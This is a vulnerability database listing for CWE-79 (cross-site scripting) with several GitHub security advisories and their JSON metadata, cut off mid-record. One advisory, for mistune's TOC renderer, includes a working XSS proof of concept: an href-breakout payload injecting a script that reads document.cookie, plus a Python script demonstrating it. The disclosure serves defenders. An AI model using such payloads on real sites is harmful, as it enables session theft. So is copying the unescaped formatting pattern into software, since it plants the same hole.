CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
67342 vulnerabilities reference this CWE, most recent first.
GHSA-6267-4QX7-2RPC
Vulnerability from github – Published: 2025-11-11 15:31 – Updated: 2025-11-17 15:30HTML injection vulnerability found in Fairsketch's RISE CRM Framework v3.8.1, which consist of an HTML code injection due to lack of proper validation of user inputs by sending a POST request in parameter 'title' in '/tickets/save'.
{
"affected": [],
"aliases": [
"CVE-2025-41105"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T13:15:44Z",
"severity": "MODERATE"
},
"details": "HTML injection vulnerability found in Fairsketch\u0027s RISE CRM Framework v3.8.1, which consist of an HTML code injection due to lack of proper validation of user inputs by sending a POST request in\u00a0parameter \u0027title\u0027 in \u0027/tickets/save\u0027.",
"id": "GHSA-6267-4qx7-2rpc",
"modified": "2025-11-17T15:30:36Z",
"published": "2025-11-11T15:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41105"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-fairsketchs-rise-crm-framework"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6268-V434-45M5
Vulnerability from github – Published: 2019-11-08 20:06 – Updated: 2021-08-17 22:39Grav through 1.6.15 allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.0-beta.7"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0-beta.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-16126"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2019-09-25T12:48:38Z",
"nvd_published_at": "2019-09-09T02:15:00Z",
"severity": "MODERATE"
},
"details": "Grav through 1.6.15 allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images.",
"id": "GHSA-6268-v434-45m5",
"modified": "2021-08-17T22:39:50Z",
"published": "2019-11-08T20:06:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16126"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/issues/2657"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site Scripting in Grav"
}
GHSA-6269-CQXG-MHHV
Vulnerability from github – Published: 2026-05-14 16:36 – Updated: 2026-06-08 23:30Summary
render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details
File: src/mistune/toc.py
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '<a href="#{}">{}</a>'.format(k, text)
# Neither k nor text is passed through escape() at any point
The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
Output — clean, safe TOC:
<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>
Step 2 — Enable the vulnerable heading_id callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:
## x"><script>alert(document.cookie)</script><a href="
When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
render_toc_ul() formats the malicious ID directly into the <a href>:
'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output:
<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li>
</ul>
The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h4.md"
bl_src = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md"
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{ex_file}]\n{ex_src}")
print("[toc output — script injected via href breakout]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>TOC output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 — TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
Example usage:
python poc.py
Once you run the script, open report_h4.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |
| Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects |
| Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.0"
]
}
],
"aliases": [
"CVE-2026-44898"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:36:12Z",
"nvd_published_at": "2026-05-26T21:16:39Z",
"severity": "MODERATE"
},
"details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n ...\n for level, k, text in toc:\n # k = heading id (used verbatim as href fragment)\n # text = heading text (used verbatim as link label)\n item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n \u003cdiv class=\"panels\"\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity** | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
"id": "GHSA-6269-cqxg-mhhv",
"modified": "2026-06-08T23:30:27Z",
"published": "2026-05-14T16:36:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/04880a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mistune TOC Anchor Injection XSS"
}
GHSA-626C-5MPC-G228
Vulnerability from github – Published: 2025-01-07 06:32 – Updated: 2025-01-07 06:32The Simple Video Management System plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'analytics_video' parameter in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2024-12256"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T05:15:16Z",
"severity": "MODERATE"
},
"details": "The Simple Video Management System plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u0027analytics_video\u0027 parameter in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
"id": "GHSA-626c-5mpc-g228",
"modified": "2025-01-07T06:32:15Z",
"published": "2025-01-07T06:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12256"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/simple-video-management-system"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cdaa6b7c-bf38-44b5-9d83-2918cbedc683?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-626W-HMPW-X74J
Vulnerability from github – Published: 2022-05-14 02:58 – Updated: 2024-04-25 21:34paypal/invoice-sdk-php is vulnerable to reflected XSS in samples/permissions.php via the permToken parameter, resulting in code execution.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "paypal/invoice-sdk-php"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-6213"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T21:34:04Z",
"nvd_published_at": "2018-08-02T21:29:00Z",
"severity": "MODERATE"
},
"details": "paypal/invoice-sdk-php is vulnerable to reflected XSS in samples/permissions.php via the permToken parameter, resulting in code execution.",
"id": "GHSA-626w-hmpw-x74j",
"modified": "2024-04-25T21:34:04Z",
"published": "2022-05-14T02:58:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6213"
},
{
"type": "WEB",
"url": "https://github.com/paypal/invoice-sdk-php/issues/13"
},
{
"type": "PACKAGE",
"url": "https://github.com/paypal/invoice-sdk-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "paypal/invoice-sdk-php reflected XSS"
}
GHSA-626X-78V2-WJJ7
Vulnerability from github – Published: 2024-09-05 12:31 – Updated: 2026-04-08 21:32The RD Station plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.3.2 due to insufficient input sanitization and output escaping of post metaboxes added by the plugin. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-6894"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-05T10:15:03Z",
"severity": "MODERATE"
},
"details": "The RD Station plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.3.2 due to insufficient input sanitization and output escaping of post metaboxes added by the plugin. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-626x-78v2-wjj7",
"modified": "2026-04-08T21:32:53Z",
"published": "2024-09-05T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6894"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/integracao-rd-station/trunk/metaboxes/add_custom_scripts.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3147038"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/integracao-rd-station/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa5075a8-1da1-4738-ad4b-b6c323d772ee?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6274-F78F-QHH9
Vulnerability from github – Published: 2025-06-27 15:31 – Updated: 2026-04-01 18:35Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Smart Agenda Smart Agenda allows Stored XSS. This issue affects Smart Agenda: from n/a through 4.9.
{
"affected": [],
"aliases": [
"CVE-2025-53294"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-27T14:15:51Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Smart Agenda Smart Agenda allows Stored XSS. This issue affects Smart Agenda: from n/a through 4.9.",
"id": "GHSA-6274-f78f-qhh9",
"modified": "2026-04-01T18:35:37Z",
"published": "2025-06-27T15:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53294"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/smart-agenda-prise-de-rendez-vous-en-ligne/vulnerability/wordpress-smart-agenda-plugin-4-9-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6276-35WC-6MCX
Vulnerability from github – Published: 2024-03-15 03:30 – Updated: 2025-03-27 21:31A Cross Site Scripting vulnerability in Healthcare-Chatbot through 9b7058a can occur via a crafted payload to the email1 or pwd1 parameter in login.php.
{
"affected": [],
"aliases": [
"CVE-2024-26454"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-15T01:15:58Z",
"severity": "MODERATE"
},
"details": "A Cross Site Scripting vulnerability in Healthcare-Chatbot through 9b7058a can occur via a crafted payload to the email1 or pwd1 parameter in login.php.",
"id": "GHSA-6276-35wc-6mcx",
"modified": "2025-03-27T21:31:02Z",
"published": "2024-03-15T03:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26454"
},
{
"type": "WEB",
"url": "https://github.com/OmRajpurkar/Healthcare-Chatbot/issues/4"
},
{
"type": "WEB",
"url": "https://medium.com/%400x0d0x0a/healthcare-chatbot-xss-cve-2024-26454-acf2607bf210"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6276-FPXW-7HF6
Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03An issue was discovered in these Pivotal RabbitMQ versions: all 3.4.x versions, all 3.5.x versions, and 3.6.x versions prior to 3.6.9; and these RabbitMQ for PCF versions: all 1.5.x versions, 1.6.x versions prior to 1.6.18, and 1.7.x versions prior to 1.7.15. Several forms in the RabbitMQ management UI are vulnerable to XSS attacks.
{
"affected": [],
"aliases": [
"CVE-2017-4967"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-13T06:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in these Pivotal RabbitMQ versions: all 3.4.x versions, all 3.5.x versions, and 3.6.x versions prior to 3.6.9; and these RabbitMQ for PCF versions: all 1.5.x versions, 1.6.x versions prior to 1.6.18, and 1.7.x versions prior to 1.7.15. Several forms in the RabbitMQ management UI are vulnerable to XSS attacks.",
"id": "GHSA-6276-fpxw-7hf6",
"modified": "2022-05-13T01:03:07Z",
"published": "2022-05-13T01:03:07Z",
"references": [
{
